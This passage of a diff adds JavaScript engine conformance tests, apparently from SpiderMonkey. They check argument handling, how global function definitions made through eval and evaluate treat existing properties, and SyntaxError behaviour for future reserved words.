+a = "abc".slice(0, undefined);
+assertEq(a, "abc");
+
+a = "abc".substr(0, undefined);
+assertEq(a, "abc");
+
+a = "abc".substring(0, undefined);
+assertEq(a, "abc");
+
+a = [1, 2, 3].slice(0, undefined);
+assertEq(a.join(), '1,2,3');
+
+a = [1, 2, 3].sort(undefined);
+assertEq(a.join(), '1,2,3');
+
+assertEq((20).toString(undefined), '20');
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/function-definition-eval.js b/js/src/tests/non262/misc/function-definition-eval.js
new file mode 100644
index 0000000000..27feae1a69
--- /dev/null
+++ b/js/src/tests/non262/misc/function-definition-eval.js
@@ -0,0 +1,348 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var outer, desc;
+var isInShell = !("Window" in this);
+
+///////////////////////////////////////////////////
+// Function definitions over accessor properties //
+///////////////////////////////////////////////////
+
+var getCalled, setCalled;
+
+// configurable properties get blown away
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc1",
+ {
+ get: function() { getCalled = true; throw "FAIL get 1"; },
+ set: function(v) { setCalled = true; throw "FAIL set 1 " + v; },
+ configurable: true,
+ enumerable: false
+ });
+
+// does not throw
+outer = undefined;
+eval("function acc1() { throw 'FAIL redefined 1'; } outer = acc1;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc1, "function");
+assertEq(acc1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc1");
+assertEq(desc.value, acc1);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc2",
+ {
+ get: function() { getCalled = true; throw "FAIL get 2"; },
+ set: function(v) { setCalled = true; throw "FAIL set 2 " + v; },
+ configurable: true,
+ enumerable: true
+ });
+
+// does not throw
+outer = undefined;
+eval("function acc2() { throw 'FAIL redefined 2'; } outer = acc2;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc2, "function");
+assertEq(acc2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc2");
+assertEq(desc.value, acc2);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+// non-configurable properties produce a TypeError. We only test this in shell,
+// since defining non-configurable properties on Window instances throws.
+if (isInShell) {
+ getCalled = false, setCalled = false;
+ Object.defineProperty(this, "acc3",
+ {
+ get: function() { getCalled = true; throw "FAIL get 3"; },
+ set: function(v) { setCalled = true; throw "FAIL set 3 " + v; },
+ configurable: false,
+ enumerable: true
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function acc3() { throw 'FAIL redefined 3'; }; outer = acc3");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable accessor, must throw a TypeError " +
+ "per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc3");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+ }
+
+
+ getCalled = false, setCalled = false;
+ Object.defineProperty(this, "acc4",
+ {
+ get: function() { getCalled = true; throw "FAIL get 4"; },
+ set: function(v) { setCalled = true; throw "FAIL set 4 " + v; },
+ configurable: false,
+ enumerable: false
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function acc4() { throw 'FAIL redefined 4'; }; outer = acc4");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable accessor, must throw a " +
+ "TypeError per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc4");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+ }
+}
+
+
+///////////////////////////////////////////////
+// Function definitions over data properties //
+///////////////////////////////////////////////
+
+
+// configurable properties, regardless of other attributes, get blown away
+
+Object.defineProperty(this, "data1",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: "data1"
+ });
+
+outer = undefined;
+eval("function data1() { return 'data1 function'; } outer = data1;");
+assertEq(typeof data1, "function");
+assertEq(data1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data1");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data1);
+
+
+Object.defineProperty(this, "data2",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: false,
+ value: "data2"
+ });
+
+outer = undefined;
+eval("function data2() { return 'data2 function'; } outer = data2;");
+assertEq(typeof data2, "function");
+assertEq(data2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data2");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data2);
+
+
+Object.defineProperty(this, "data3",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: true,
+ value: "data3"
+ });
+
+outer = undefined;
+eval("function data3() { return 'data3 function'; } outer = data3;");
+assertEq(typeof data3, "function");
+assertEq(data3, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data3");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data3);
+
+
+Object.defineProperty(this, "data4",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: false,
+ value: "data4"
+ });
+
+outer = undefined;
+eval("function data4() { return 'data4 function'; } outer = data4;");
+assertEq(typeof data4, "function");
+assertEq(data4, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data4");
+assertEq(desc.value, data4);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+// non-configurable data properties are trickier. Again, we test these only in shell.
+
+if (isInShell) {
+ Object.defineProperty(this, "data5",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: true,
+ value: "data5"
+ });
+
+ outer = undefined;
+ eval("function data5() { return 'data5 function'; } outer = data5;");
+ assertEq(typeof data5, "function");
+ assertEq(data5, outer);
+ desc = Object.getOwnPropertyDescriptor(this, "data5");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, data5);
+
+
+ Object.defineProperty(this, "data6",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: false,
+ value: "data6"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data6() { return 'data6 function'; } outer = data6;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable, non-writable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable, non-writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data6, "data6");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data6");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data6");
+ }
+
+
+ Object.defineProperty(this, "data7",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: true,
+ value: "data7"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data7() { return 'data7 function'; } outer = data7;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, writable data" +
+ "property");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data7, "data7");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data7");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, "data7");
+ }
+
+
+ Object.defineProperty(this, "data8",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: false,
+ value: "data8"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data8() { return 'data8 function'; } outer = data8;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, non-writable data" +
+ "property");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, non-writable data property, " +
+ "must throw a TypeError per ES5+errata: " + e);
+ assertEq(data8, "data8");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data8");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data8");
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/function-definition-evaluate.js b/js/src/tests/non262/misc/function-definition-evaluate.js
new file mode 100644
index 0000000000..4ed156b2a1
--- /dev/null
+++ b/js/src/tests/non262/misc/function-definition-evaluate.js
@@ -0,0 +1,344 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var outer, desc;
+
+///////////////////////////////////////////////////
+// Function definitions over accessor properties //
+///////////////////////////////////////////////////
+
+var getCalled, setCalled;
+
+// configurable properties get blown away
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc1",
+ {
+ get: function() { getCalled = true; throw "FAIL get 1"; },
+ set: function(v) { setCalled = true; throw "FAIL set 1 " + v; },
+ configurable: true,
+ enumerable: false
+ });
+
+// does not throw
+outer = undefined;
+evaluate("function acc1() { throw 'FAIL redefined 1'; } outer = acc1;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc1, "function");
+assertEq(acc1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc1");
+assertEq(desc.value, acc1);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc2",
+ {
+ get: function() { getCalled = true; throw "FAIL get 2"; },
+ set: function(v) { setCalled = true; throw "FAIL set 2 " + v; },
+ configurable: true,
+ enumerable: true
+ });
+
+// does not throw
+outer = undefined;
+evaluate("function acc2() { throw 'FAIL redefined 2'; } outer = acc2;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc2, "function");
+assertEq(acc2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc2");
+assertEq(desc.value, acc2);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+// non-configurable properties produce a TypeError
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc3",
+ {
+ get: function() { getCalled = true; throw "FAIL get 3"; },
+ set: function(v) { setCalled = true; throw "FAIL set 3 " + v; },
+ configurable: false,
+ enumerable: true
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function acc3() { throw 'FAIL redefined 3'; }; outer = acc3");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable accessor, must throw a TypeError " +
+ "per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc3");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+}
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc4",
+ {
+ get: function() { getCalled = true; throw "FAIL get 4"; },
+ set: function(v) { setCalled = true; throw "FAIL set 4 " + v; },
+ configurable: false,
+ enumerable: false
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function acc4() { throw 'FAIL redefined 4'; }; outer = acc4");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable accessor, must throw a " +
+ "TypeError per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc4");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+}
+
+
+///////////////////////////////////////////////
+// Function definitions over data properties //
+///////////////////////////////////////////////
+
+
+// configurable properties, regardless of other attributes, get blown away
+
+Object.defineProperty(this, "data1",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: "data1"
+ });
+
+outer = undefined;
+evaluate("function data1() { return 'data1 function'; } outer = data1;");
+assertEq(typeof data1, "function");
+assertEq(data1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data1");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data1);
+
+
+Object.defineProperty(this, "data2",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: false,
+ value: "data2"
+ });
+
+outer = undefined;
+evaluate("function data2() { return 'data2 function'; } outer = data2;");
+assertEq(typeof data2, "function");
+assertEq(data2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data2");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data2);
+
+
+Object.defineProperty(this, "data3",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: true,
+ value: "data3"
+ });
+
+outer = undefined;
+evaluate("function data3() { return 'data3 function'; } outer = data3;");
+assertEq(typeof data3, "function");
+assertEq(data3, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data3");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data3);
+
+
+Object.defineProperty(this, "data4",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: false,
+ value: "data4"
+ });
+
+outer = undefined;
+evaluate("function data4() { return 'data4 function'; } outer = data4;");
+assertEq(typeof data4, "function");
+assertEq(data4, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data4");
+assertEq(desc.value, data4);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+// non-configurable data properties are trickier
+
+Object.defineProperty(this, "data5",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: true,
+ value: "data5"
+ });
+
+outer = undefined;
+evaluate("function data5() { return 'data5 function'; } outer = data5;");
+assertEq(typeof data5, "function");
+assertEq(data5, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data5");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data5);
+
+
+Object.defineProperty(this, "data6",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: false,
+ value: "data6"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data6() { return 'data6 function'; } outer = data6;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable, non-writable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable, non-writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data6, "data6");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data6");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data6");
+}
+
+
+Object.defineProperty(this, "data7",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: true,
+ value: "data7"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data7() { return 'data7 function'; } outer = data7;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, writable data" +
+ "property");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data7, "data7");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data7");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, "data7");
+}
+
+
+Object.defineProperty(this, "data8",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: false,
+ value: "data8"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data8() { return 'data8 function'; } outer = data8;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, non-writable data" +
+ "property");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, non-writable data property, " +
+ "must throw a TypeError per ES5+errata: " + e);
+ assertEq(data8, "data8");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data8");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data8");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/future-reserved-words.js b/js/src/tests/non262/misc/future-reserved-words.js
new file mode 100644
index 0000000000..43b1b2f607
--- /dev/null
+++ b/js/src/tests/non262/misc/future-reserved-words.js
@@ -0,0 +1,493 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 497869;
+var summary = "Implement FutureReservedWords per-spec";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var futureReservedWords =
+ [
+ "class",
+ // "const", // Mozilla extension enabled even for versionless code
+ "enum",
+ "export",
+ "extends",
+ "import",
+ "super",
+ ];
+
+var strictFutureReservedWords =
+ [
+ "implements",
+ "interface",
+ "let", // enabled: this file doesn't execute as JS1.7
+ "package",
+ "private",
+ "protected",
+ "public",
+ "static",
+ "yield", // enabled: this file doesn't execute as JS1.7
+ ];
+
+function testWord(word, expectNormal, expectStrict)
+{
+ var actual, status;
+
+ // USE AS LHS FOR ASSIGNMENT
+
+ actual = "";
+ status = summary + ": " + word + ": normal assignment";
+ try
+ {
+ eval(word + " = 'foo';");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict assignment";
+ try
+ {
+ eval("'use strict'; " + word + " = 'foo';");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS DESTRUCTURING SHORTHAND
+
+ actual = "";
+ status = summary + ": " + word + ": destructuring shorthand";
+ try
+ {
+ eval("({ " + word + " } = 'foo');");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict destructuring shorthand";
+ try
+ {
+ eval("'use strict'; ({ " + word + " } = 'foo');");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE IN VARIABLE DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal var";
+ try
+ {
+ eval("var " + word + ";");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict var";
+ try
+ {
+ eval("'use strict'; var " + word + ";");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE IN FOR-IN VARIABLE DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal for-in var";
+ try
+ {
+ eval("for (var " + word + " in {});");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict for-in var";
+ try
+ {
+ eval("'use strict'; for (var " + word + " in {});");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS CATCH IDENTIFIER
+
+ actual = "";
+ status = summary + ": " + word + ": normal var";
+ try
+ {
+ eval("try { } catch (" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict var";
+ try
+ {
+ eval("'use strict'; try { } catch (" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS LABEL
+
+ actual = "";
+ status = summary + ": " + word + ": normal label";
+ try
+ {
+ eval(word + ": while (false);");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict label";
+ try
+ {
+ eval("'use strict'; " + word + ": while (false);");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN FUNCTION DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function argument";
+ try
+ {
+ eval("function foo(" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function argument";
+ try
+ {
+ eval("'use strict'; function foo(" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function argument retroactively strict";
+ try
+ {
+ eval("function foo(" + word + ") { 'use strict'; }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN FUNCTION EXPRESSION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function expression argument";
+ try
+ {
+ eval("var s = (function foo(" + word + ") { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function expression argument";
+ try
+ {
+ eval("'use strict'; var s = (function foo(" + word + ") { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function expression argument retroactively strict";
+ try
+ {
+ eval("var s = (function foo(" + word + ") { 'use strict'; });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME WITH FUNCTION CONSTRUCTOR
+
+ actual = "";
+ status = summary + ": " + word + ": argument with normal Function";
+ try
+ {
+ Function(word, "return 17");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": argument with strict Function";
+ try
+ {
+ Function(word, "'use strict'; return 17");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN PROPERTY SETTER
+
+ actual = "";
+ status = summary + ": " + word + ": normal property setter argument";
+ try
+ {
+ eval("var o = { set x(" + word + ") { } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict property setter argument";
+ try
+ {
+ eval("'use strict'; var o = { set x(" + word + ") { } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": property setter argument retroactively strict";
+ try
+ {
+ eval("var o = { set x(" + word + ") { 'use strict'; } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS FUNCTION NAME IN FUNCTION DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function name";
+ try
+ {
+ eval("function " + word + "() { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function name";
+ try
+ {
+ eval("'use strict'; function " + word + "() { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function name retroactively strict";
+ try
+ {
+ eval("function " + word + "() { 'use strict'; }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS FUNCTION NAME IN FUNCTION EXPRESSION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function expression name";
+ try
+ {
+ eval("var s = (function " + word + "() { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function expression name";
+ try
+ {
+ eval("'use strict'; var s = (function " + word + "() { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function expression name retroactively strict";
+ try
+ {
+ eval("var s = (function " + word + "() { 'use strict'; });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+}
+
+function testFutureReservedWord(word)
+{
+ testWord(word, "SyntaxError", "SyntaxError");
+}
+
+function testStrictFutureReservedWord(word)
+{
+ testWord(word, "no error", "SyntaxError");
+}
+
+futureReservedWords.forEach(testFutureReservedWord);
+strictFutureReservedWords.forEach(testStrictFutureReservedWord);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/getter-setter-outerize-this.js b/js/src/tests/non262/misc/getter-setter-outerize-this.js
new file mode 100644
index 0000000000..46c61b889a
--- /dev/null
+++ b/js/src/tests/non262/misc/getter-setter-outerize-this.js
@@ -0,0 +1,21 @@
+if (typeof window === "undefined") {
+ // This test is meant to run in the browser, but it's easy to
+ // run it in the shell as well, even though it has no inner/outer
+ // windows.
+ window = this;
+}
+
+var res = false;
+Object.defineProperty(this, "foo", {configurable: true,
+ get: function() { return this === window; },
+ set: function(v) { res = this === window; }});
+
+(function() {
+ for (var i = 0; i < 3000; ++i) {
+ window.foo = i;
+ assertEq(res, true, "setter");
